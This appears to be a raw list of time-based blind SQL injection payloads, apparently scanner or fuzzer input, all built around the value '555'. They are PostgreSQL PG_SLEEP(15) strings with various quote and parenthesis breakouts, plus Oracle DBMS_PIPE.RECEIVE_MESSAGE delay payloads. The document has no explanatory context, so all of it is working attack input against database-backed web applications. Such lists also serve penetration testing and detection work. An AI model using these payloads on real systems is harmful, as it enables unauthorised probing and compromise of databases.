555-1 OR 572=(SELECT 572 FROM PG_SLEEP(15))--

555-1) OR 767=(SELECT 767 FROM PG_SLEEP(15))--

555-1)) OR 118=(SELECT 118 FROM PG_SLEEP(15))--

555DG0O37Du' OR 807=(SELECT 807 FROM PG_SLEEP(15))--

555foDS2DrP') OR 870=(SELECT 870 FROM PG_SLEEP(15))--

555YfopwDR1')) OR 469=(SELECT 469 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555